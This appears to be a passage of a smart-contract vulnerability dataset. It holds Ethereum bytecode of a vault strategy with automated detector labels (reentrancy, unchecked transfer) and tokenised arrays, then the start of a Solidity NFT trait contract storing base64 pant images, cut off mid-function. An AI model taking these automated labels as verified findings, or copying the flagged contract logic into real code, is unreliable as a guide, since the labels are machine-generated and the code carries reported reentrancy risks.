ffffff16565b90505b612a49600554826132bc90919063ffffffff16565b905080821115612b64576000612a68828461286690919063ffffffff16565b905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b8152600401612ab7919061444f565b600060405180830381600087803b158015612ad157600080fd5b505af1158015612ae5573d6000803e3d6000fd5b5050505073d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff16631249c58b826040518263ffffffff1660e01b81526004016000604051808303818588803b158015612b4557600080fd5b505af1158015612b59573d6000803e3d6000fd5b505050505050612b90565b80821015612b8f576000612b81838361286690919063ffffffff16565b9050612b8c81613593565b50505b5b5050505b565b600073d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff16633af9e669306040518263ffffffff1660e01b8152600401612be59190614239565b602060405180830381600087803b158015612bff57600080fd5b505af1158015612c13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c379190613eb0565b90506000811115612c4d57612c4b81613593565b505b600060048190555050565b600073d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401612ca79190614239565b60206040518083038186803b158015612cbf57600080fd5b505afa158015612cd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cf79190613eb0565b1415612da55773c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401612d4a9190614239565b60206040518083038186803b158015612d6257600080fd5b505afa158015612d76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d9a9190613eb0565b60048190555061324a565b600060045414612db85760006004819055505b600073d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff16633af9e669306040518263ffffffff1660e01b8152600401612e079190614239565b602060405180830381600087803b158015612e2157600080fd5b505af1158015612e35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e599190613eb0565b9050600073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401612eaa9190614239565b60206040518083038186803b158015612ec257600080fd5b505afa158015612ed6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612efa9190613eb0565b90506000612f1182846132bc90919063ffffffff16565b905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166339ebf823306040518263ffffffff1660e01b8152600401612f6f9190614239565b60e06040518083038186803b158015612f8757600080fd5b505afa158015612f9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fbf9190613e5e565b60a0015190508082111561318057600081830390506000612feb600554836132bc90919063ffffffff16565b905080851061309e578073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016130429190614239565b60206040518083038186803b15801561305a57600080fd5b505afa15801561306e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130929190613eb0565b03600481905550613179565b6130b96130b4868361286690919063ffffffff16565b613593565b5073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016131079190614239565b60206040518083038186803b15801561311f57600080fd5b505afa158015613133573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131579190613eb0565b94508085111561316f57808503600481905550613178565b60006004819055505b5b5050613245565b600073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016131cf9190614239565b60206040518083038186803b1580156131e757600080fd5b505afa1580156131fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061321f9190613eb0565b90506005548111613237576000600481905550613243565b60055481036004819055505b505b505050505b565b60008083141561325f57600090506132b6565b600082840290508284828161327057fe5b04146132b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132a89061438f565b60405180910390fd5b809150505b92915050565b600080828401905083811015613307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132fe9061436f565b60405180910390fd5b8091505092915050565b600061335383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061391b565b905092915050565b73d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8273d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016133d99190614239565b60206040518083038186803b1580156133f157600080fd5b505afa158015613405573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134299190613eb0565b6040518363ffffffff1660e01b815260040161344692919061427d565b602060405180830381600087803b15801561346057600080fd5b505af1158015613474573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134989190613e0c565b5061359081600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016134f89190614239565b60206040518083038186803b15801561351057600080fd5b505afa158015613524573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135489190613eb0565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661397c9092919063ffffffff16565b50565b60008073d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff16633af9e669306040518263ffffffff1660e01b81526004016135e39190614239565b602060405180830381600087803b1580156135fd57600080fd5b505af1158015613611573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136359190613eb0565b905080831115613643578092505b600073d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff16633b1d21a26040518163ffffffff1660e01b815260040160206040518083038186803b15801561369f57600080fd5b505afa1580156136b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136d79190613eb0565b90506000925060008114156136ed5750506138bb565b80841161379c5783925073d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff1663852a12e3846040518263ffffffff1660e01b8152600401613744919061444f565b602060405180830381600087803b15801561375e57600080fd5b505af1158015613772573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137969190613eb0565b50613843565b60018103925073d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff1663852a12e3846040518263ffffffff1660e01b81526004016137ef919061444f565b602060405180830381600087803b15801561380957600080fd5b505af115801561381d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138419190613eb0565b505b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1663d0e30db0476040518263ffffffff1660e01b81526004016000604051808303818588803b15801561389f57600080fd5b505af11580156138b3573d6000803e3d6000fd5b505050505050505b919050565b6000838311158290613908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138ff919061432d565b60405180910390fd5b5060008385039050809150509392505050565b60008083118290613962576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613959919061432d565b60405180910390fd5b50600083858161396e57fe5b049050809150509392505050565b6139fd8363a9059cbb60e01b848460405160240161399b92919061427d565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613a02565b505050565b6060613a64826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16613ac99092919063ffffffff16565b9050600081511115613ac45780806020019051810190613a849190613e0c565b613ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613aba9061440f565b60405180910390fd5b5b505050565b6060613ad88484600085613ae1565b90509392505050565b6060613aec85613c04565b613b2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b22906143cf565b60405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff168587604051613b559190614207565b60006040518083038185875af1925050503d8060008114613b92576040519150601f19603f3d011682016040523d82523d6000602084013e613b97565b606091505b50915091508115613bac578092505050613bfc565b600081511115613bbf5780518082602001fd5b836040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613bf3919061432d565b60405180910390fd5b949350505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f9150808214158015613c4657506000801b8214155b92505050919050565b6040518060e00160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600081359050613c9b81614656565b92915050565b600081519050613cb081614656565b92915050565b600081519050613cc58161466d565b92915050565b600081519050613cda81614684565b92915050565b600060e08284031215613cf257600080fd5b613cfc60e0614493565b90506000613d0c84828501613da5565b6000830152506020613d2084828501613da5565b6020830152506040613d3484828501613da5565b6040830152506060613d4884828501613da5565b6060830152506080613d5c84828501613da5565b60808301525060a0613d7084828501613da5565b60a08301525060c0613d8484828501613da5565b60c08301525092915050565b600081359050613d9f8161469b565b92915050565b600081519050613db48161469b565b92915050565b600060208284031215613dcc57600080fd5b6000613dda84828501613c8c565b91505092915050565b600060208284031215613df557600080fd5b6000613e0384828501613ca1565b91505092915050565b600060208284031215613e1e57600080fd5b6000613e2c84828501613cb6565b91505092915050565b600060208284031215613e4757600080fd5b6000613e5584828501613ccb565b91505092915050565b600060e08284031215613e7057600080fd5b6000613e7e84828501613ce0565b91505092915050565b600060208284031215613e9957600080fd5b6000613ea784828501613d90565b91505092915050565b600060208284031215613ec257600080fd5b6000613ed084828501613da5565b91505092915050565b613ee28161454c565b82525050565b613ef1816144f2565b82525050565b613f0081614504565b82525050565b6000613f11826144c0565b613f1b81856144d6565b9350613f2b818560208601614612565b80840191505092915050565b613f408161455e565b82525050565b613f4f81614582565b82525050565b613f5e816145a6565b82525050565b613f6d816145ca565b82525050565b6000613f7e826144cb565b613f8881856144e1565b9350613f98818560208601614612565b613fa181614645565b840191505092915050565b6000613fb9600b836144e1565b91507f21676f7665726e616e63650000000000000000000000000000000000000000006000830152602082019050919050565b6000613ff9601b836144e1565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006140396021836144e1565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061409f6006836144e1565b91507f217661756c7400000000000000000000000000000000000000000000000000006000830152602082019050919050565b60006140df601d836144e1565b91507f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006000830152602082019050919050565b600061411f600b836144e1565b91507f216d616e6167656d656e740000000000000000000000000000000000000000006000830152602082019050919050565b600061415f602a836144e1565b91507f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008301527f6f742073756363656564000000000000000000000000000000000000000000006020830152604082019050919050565b60006141c5600a836144e1565b91507f2170726f746563746564000000000000000000000000000000000000000000006000830152602082019050919050565b61420181614542565b82525050565b60006142138284613f06565b915081905092915050565b60006020820190506142336000830184613ee8565b92915050565b600060208201905061424e6000830184613ed9565b92915050565b60006040820190506142696000830185613ed9565b61427660208301846141f8565b9392505050565b60006040820190506142926000830185613ee8565b61429f60208301846141f8565b9392505050565b60006020820190506142bb6000830184613ef7565b92915050565b60006020820190506142d66000830184613f37565b92915050565b60006020820190506142f16000830184613f46565b92915050565b600060208201905061430c6000830184613f55565b92915050565b60006020820190506143276000830184613f64565b92915050565b600060208201905081810360008301526143478184613f73565b905092915050565b6000602082019050818103600083015261436881613fac565b9050919050565b6000602082019050818103600083015261438881613fec565b9050919050565b600060208201905081810360008301526143a88161402c565b9050919050565b600060208201905081810360008301526143c881614092565b9050919050565b600060208201905081810360008301526143e8816140d2565b9050919050565b6000602082019050818103600083015261440881614112565b9050919050565b6000602082019050818103600083015261442881614152565b9050919050565b60006020820190508181036000830152614448816141b8565b9050919050565b600060208201905061446460008301846141f8565b92915050565b600060408201905061447f60008301856141f8565b61448c60208301846141f8565b9392505050565b6000604051905081810181811067ffffffffffffffff821117156144b657600080fd5b8060405250919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006144fd82614522565b9050919050565b60008115159050919050565b600061451b826144f2565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000614557826145ee565b9050919050565b600061456982614570565b9050919050565b600061457b82614522565b9050919050565b600061458d82614594565b9050919050565b600061459f82614522565b9050919050565b60006145b1826145b8565b9050919050565b60006145c382614522565b9050919050565b60006145d5826145dc565b9050919050565b60006145e782614522565b9050919050565b60006145f982614600565b9050919050565b600061460b82614522565b9050919050565b60005b83811015614630578082015181840152602081019050614615565b8381111561463f576000848401525b50505050565b6000601f19601f8301169050919050565b61465f816144f2565b811461466a57600080fd5b50565b61467681614504565b811461468157600080fd5b50565b61468d81614510565b811461469857600080fd5b50565b6146a481614542565b81146146af57600080fd5b5056fea264697066735822122099bb4cd2adc1dcefca9de0f29e6ffac4097b8e6c3ea5a80ed734115cb0ce639c64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 27531, 2050, 2620, 2487, 2497, 19481, 2692, 2629, 5243, 21057, 23833, 2497, 2475, 10354, 7011, 19841, 2683, 20952, 2094, 2692, 2278, 2683, 12879, 18827, 2546, 2575, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1032, 8311, 1032, 19204, 1032, 9413, 2278, 11387, 1032, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,843
0x9779a0c8fdb4947e631dcb599b934ca73d25472b
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Trait.sol"; contract Pants is Trait { // Skin view // Short pants string public constant SHORT_FANCY = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABAAgMAAADXB5lNAAAADFBMVEVhYmzOfBTTexbcghM7VPhxAAAAAXRSTlMAQObYZgAAAFhJREFUOMtjYBgFVAdhU0MzUQT2rdxXhyKwbt/e9SgCdfv27kYTqEUVqNy1M2s0aIcNCN0eNgtF4OWqXXtRBN7m7duJIvCzbi+qip95tT9RBHbmZb6lrzcA0kkexhJMXJEAAAAASUVORK5CYII="; string public constant SHORT_BLACK = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABAAgMAAADXB5lNAAAADFBMVEVlLWcXGBYcHRsfIR/lS+CTAAAAAXRSTlMAQObYZgAAAE9JREFUOMtjYBgFVAehQIAiUBtaW4siEFtbG4+qora2HE0gFlWgNBbN0FEwpNNIGlp0Xg0tRU0jd2NrS1EEvtaipaKvsbVfUQ2NjaVzGgEA9JIWUHO78tYAAAAASUVORK5CYII="; string public constant SHORT_BLUE = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABAAgMAAADXB5lNAAAADFBMVEVyZXMUMGQeOXQfSIxwGWR2AAAAAXRSTlMAQObYZgAAAFhJREFUOMtjYBgFVAdhU0MzUQT2rdxXhyKwbt/e9SgCdfv27kYTqEUVyFy3Mm80aIcNCF0WNgtF4OWqXXtRBN7m7duJIvCzbi+qip95tT9RBFZm5b6krzcAVPMeeUDvN08AAAAASUVORK5CYII="; // Long pants string public constant LONG_FANCY = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAD1BMVEVzLWnOfBTTexbbgRLfhBdEB3xUAAAAAXRSTlMAQObYZgAAAJFJREFUSMftlMERAyEMA68FMA3YogELGjju+q8pFBD7mzzYh187GjOArutw+DNK1VL2CAXQFBSGghGE2xMKsjq7A7FALEmFuxN3Y7IkVPyNE/qANpcZCtU2+6jnRRwOX3qiQHZNWChQzWDwWPC6sBD/sKGycCcJQyvFZ9JV2th85gnNn1yAI26aUXT3nfEHV/ABZ+MVbV8H+hoAAAAASUVORK5CYII="; string public constant LONG_BLACK = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAD1BMVEVzLWkVFhQYGRccHRsgIR/TWU0JAAAAAXRSTlMAQObYZgAAAIhJREFUSMftlLENBDEIBN0CfhqApxEQ/df064sPLrwP2MCJRyss27PWZPJnoS1EWErAQsWCowQ0LMw1S4AvwKwFuAX8NDQzYFvYs26wPADXQ25FcNR5EZPJjSfo+4EmtARCVE3Na8D3EUH9w1L4eMIbYMMT2bgKDQAeG3oAM9SmSRKcQuOFK/gBESgYVnnv5RIAAAAASUVORK5CYII="; string public constant LONG_BLUE = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAD1BMVEUAAAAUMGQfOXQeRocfTaK1PriXAAAAAXRSTlMAQObYZgAAAJFJREFUSMftlMERAyEMA68FMA3YogELGjju+q8pFBD7mzzYh187GjOArutw+DNK1VL2CAXQFBSGghGE2xMKsjq7A7FALEmFuxN3Y7IkVPyNE/qANpcZCtU2+6jnRRwOX3qiWN01YaFANYPBY8HrwkL8w4bKwp0kDK0Un0lXaWPzmSc0f3IBjrhpRtHdd8YfXMEHZOIVaw91yZoAAAAASUVORK5CYII="; // New pants string public constant ASTRONAUT = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAG1BMVEVPsue5AABWV1VvcW5/gX6+wb3Lzsrm6OXy9PHHtKnUAAAAAXRSTlMAQObYZgAAAMtJREFUSMftlLENAyEMRW8FmgwAGwAbcCscpE2BYAG8QTx37CsT2ZZS8yl58v2TxTuOnZ2vxGAAwQJ8tABtQu21X1ftIjDfDQdOEIGBAyZOlAGY91E6DBiodHDu4Wp3TgTaqn1CW1oH/gtUO9Te5A655FJKKiJAd/kkSl619yElc+E7O394IloaCN6aoAHsCD6yJ2CuJ70xGcBbBKiJBFkEyif4jSodyBEv5xRPsGXaUjzBBQeYnqjyhJzZFDnJnjjpVvMEOYJM8bvwD2e5RJo7hlZhAAAAAElFTkSuQmCC"; string public constant COWBOY = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAIVBMVEUAAAAkFwYTH04WIFYyIwsUJWM4JwpZKgdvNxGJQBL+1QCN1Ay8AAAAAXRSTlMAQObYZgAAANBJREFUSMftlEEKwjAQRXuFQugBRN1LGPeBafY25ASN9gZt9QJNbpA5gdc0boWZgiC46N/m8SdhyKuqLVs+Mk0rwDj8FPCnvtMlLODqFsCD44HGeucBWMCocEXEmm9Qt+CdMEIbDPIdgkGngX8FnRUSUWKBSClRzJEHYs6xhAWe8/t4mYVVj8M0rS58y5Y/9AQc9n0n/DAHu4sF7aSGYEFowPporEXFN+jGIHjBE74pIzSvInDKlDvwQCZlW8kTKc9ExQWCJ+6yJ2Kc4/L4whMvV8tLH1+dY+AAAAAASUVORK5CYII="; string public constant LUMBERJACK = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAFVBMVEUAAABiMQ8IRWARSWUAVHpgQShiZGEoVAkJAAAAAXRSTlMAQObYZgAAALFJREFUSMftlLENQyEMRP8KFGQAzhPYTABZgOIPkP2XiN1G8qEoTQqOkifOgO6u6+joQ6VsgLp+BaiFDXs2nSMF2sDsCk0BsQ5xKLfQblDJT8CAgllgwsAsZMSIkt8ijhcFu6bAGFBXXaWQx/b9et+rkn94vErZfvjR0f/1BJpEiI1kVFQaSbkMmd42PKORcwa4Aasiz3hXbjF9DttUkfQcMG+KRmaIjoiVAtERsb7uiTct3iR+3MrH0QAAAABJRU5ErkJggg=="; string public constant SUIT = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAFVBMVEUAAAAKFh8OHiwwHAs4IgYZKDZOMROMMu4EAAAAAXRSTlMAQObYZgAAAJdJREFUSMftlMEJgDAMRV2hhQ6QQDZwA4v3BNxA3H8Ek6vQHwS99ZecfPyk2PxlmZp6qK8JsPVfHQpVYq5lCPhHEz54CIjFYUMACyOAooWkgGLAGpxBvQgA4QABwS2u69yjxj+qb2vUfPRTr/VzDKQOzMWFcsKaBwlcoOYLdBBwSFYwWkQQJEBVNEM4aDJk4pABcQv9PiduMCsrUNLT6DgAAAAASUVORK5CYII="; string public constant KNIGHT = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAHlBMVEUAAAA2NjZKSkpxcXGZmZmzs7PAwMDNzc3a2trn5+difNTDAAAAAXRSTlMAQObYZgAAAMBJREFUSMftlDEOwjAMRXuFemJ1WJgJ4gJYFRdoEBdI071q6AhDRC6Q9LhQRpDNiJDy56cnWUpeVZWVvQ3wt8A0WW9dcCLgXEwCYBZg5oFhAa4bFiDStCMi/oK+PQEgfwdO5oIIwBtGY2WDN142+KYTDVprpfV2zQJ1DagUYnn0ZX/XiWBTTFboRAhjzLmfJcDnHCVgPxzvtxXfiYMmkjqB2J6T+InBxCxmAI3tvhm8bGg6LxlemZA6oRTgsxUfhgc/NTk1w29ieQAAAABJRU5ErkJggg=="; string public constant POLICE = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAElBMVEUAAAAGHDMLJkIIKUozJwZKOQilffLwAAAAAXRSTlMAQObYZgAAALxJREFUSMftlNENBCEIRK8FoAKgAoYW3A7W/ls59ncT+L1cIv6ZcVDivM/n1KlXrfVbQabDydAKAAe7WSsQTWcVbwVWp0UlWwGrBZR7B3bAwmi4Awenae8Qglq9IJ2qB/dzCIp6KNEw5n3vfd2tYO/7Wuu+zqc/9XecoMJAsaLHAFTgOkVQORHAkFE2towBA2Ll0rcQE68QDykvTmmiF3hxQt1igJmAyqSfQxataKBdMWKvNXDiYcTDivf+F1qGI59+bsDhAAAAAElFTkSuQmCC"; // Front view // Short pants string public constant FRONT_SHORT_FANCY = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgAgMAAABm5xBfAAAADFBMVEUAAADTexbOfBTcghMsdKvZAAAAAXRSTlMAQObYZgAAAB5JREFUCNdjYKAHyKoGEmGhQKJ2LojYC2OVziWgEwALYAYRFZBR2QAAAABJRU5ErkJggg=="; string public constant FRONT_SHORT_BLACK = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgAgMAAABm5xBfAAAADFBMVEUAAAAXGBYcHRsfIR8riSZSAAAAAXRSTlMAQObYZgAAAB1JREFUCNdjYKAHCE0DEaFAojYWRNTCWLGxBHQCANcVBM4rWVNSAAAAAElFTkSuQmCC"; string public constant FRONT_SHORT_BLUE = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgAgMAAABm5xBfAAAADFBMVEUAAAAeOXQUMGQfSIyVuGQPAAAAAXRSTlMAQObYZgAAAB5JREFUCNdjYKAHyIoEEmGhQKJ2LojYC2PFTiWgEwD/pwXPMca/4wAAAABJRU5ErkJggg=="; // Long pants string public constant FRONT_LONG_FANCY = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAD1BMVEUAAADTexbOfBTbgRLfhBffcoAOAAAAAXRSTlMAQObYZgAAADZJREFUGNNjYBiSQEhJWBnMEBQSFAQzhA0VHcEMEUNlCEPYUdEQKqICYQgLKaIxBAWFDPFaBAAzRwSS/7mIvgAAAABJRU5ErkJggg=="; string public constant FRONT_LONG_BLACK = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAD1BMVEUAAAAYGRcVFhQcHRsgIR/IZ4SkAAAAAXRSTlMAQObYZgAAACxJREFUGNNjYBiSQEhJWBnMEBQSFAQzRBwVHaEMFUdcIkKKaAxBQSFHvBYBAFFsBRcWOvIhAAAAAElFTkSuQmCC"; string public constant FRONT_LONG_BLUE = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAD1BMVEUAAAAfOXQUMGQeRocfTaJii7rMAAAAAXRSTlMAQObYZgAAADZJREFUGNNjYBiSQEhJUBHMEBQSFAQzhA0VHcEMEUNlCEPYUdEQKqICYQgLKaIxBAWFDPFaBAAxrQSOcxLd+gAAAABJRU5ErkJggg=="; string public constant FRONT_ASTRONAUT = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAG1BMVEUAAAC+wb3Lzsrm6OXy9PG5AABvcW5/gX5WV1XM19zcAAAAAXRSTlMAQObYZgAAAD9JREFUGNNjYBiSQEhRSBHMEHZSMQQzlI2UjcAMFSNlJ1SRoNBQVVRdKk4qaGrSy9LLwAwgnQ5mdLRldDAwAADYYguPdveXlwAAAABJRU5ErkJggg=="; string public constant FRONT_COWBOY = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAHlBMVEUAAAA4JwoWIFYUJWMTH04yIwskFwZvNxGJQBJZKgd8QHc+AAAAAXRSTlMAQObYZgAAAE9JREFUGNNjYBiSQMjE2RXMCFZ2MQMzAo2dRcEMUWHHMDBDUDQRwggVTYRIhYWmQkRSQ1MDwYyKiukdYEZ7+4x2MKO8fHo5mDFRcqIkAwMArrcPebGzeOMAAAAASUVORK5CYII="; string public constant FRONT_LUMBERJACK = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAFVBMVEUAAAARSWUAVHoIRWBiMQ9gQShiZGHXzFGbAAAAAXRSTlMAQObYZgAAAEZJREFUGNNjYBiSQFDJSBDMMFQ0EgYzhAyNFCEMQUOIiKGwoTGEIQhTI2yoCJOCiBgZGiuDGa4hriFgBpB2BTPcUtxSGBgAeOIIql2Q1FEAAAAASUVORK5CYII="; string public constant FRONT_SUIT = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAFVBMVEUAAAAKFh8OHiwZKDZOMRM4IgYwHAtTPbD1AAAAAXRSTlMAQObYZgAAADVJREFUGNNjYBiSQEhRUBDCMBJWBDOUjYSNIAwlISNUKUyGsqGwEQ7triGuIWBGWGpYKgMDAElYB6ymxDOdAAAAAElFTkSuQmCC"; string public constant FRONT_KNIGHT = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgCAAAAAA+4qcQAAAAAnRSTlMAAHaTzTgAAAB2SURBVCjP7c2xDcJQEIPhj0CFdAPkLUAGYGQWQPQRAzBAMgBXQfUk6BBNEhiAEjcn2f/Z/PVrreAslLFEi2ZOcroNVFDTN3HgAhvodRy7T+mJkuzbmRARolheqHXemYxQlVhWUpUyF2IYRuzAGl5Pt8f2Pl7xBva4HQsbSM+kAAAAAElFTkSuQmCC"; string public constant FRONT_POLICE = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAElBMVEUAAAALJkIIKUoGHDNKOQgzJwa3pY29AAAAAXRSTlMAQObYZgAAAENJREFUGNPVy1ENACAIRVEqgAmABGAFaED/LG6gIXxfZ3u7AF+OmPjCB0ImDUTDgfqA2alheuGv2g+6bK7IikZWFsABUEcHhkozIfgAAAAASUVORK5CYII="; constructor() { _tiers = [ 5000, 5700, 6400, 7000, 7600, 8200, 8800, 9300, 9500, 9700, 9900, 9950, 10000 ]; } function getName(uint256 traitIndex) public pure override returns (string memory name) { if (traitIndex == 0) { return ""; } else if (traitIndex == 1) { return "Short Black"; } else if (traitIndex == 2) { return "Long Black"; } else if (traitIndex == 3) { return "Short Blue"; } else if (traitIndex == 4) { return "Long Blue"; } else if (traitIndex == 5) { return "Police"; } else if (traitIndex == 6) { return "Suit"; } else if (traitIndex == 7) { return "Lumberjack"; } else if (traitIndex == 8) { return "Knight"; } else if (traitIndex == 9) { return "Short Fancy"; } else if (traitIndex == 10) { return "Long Fancy"; } else if 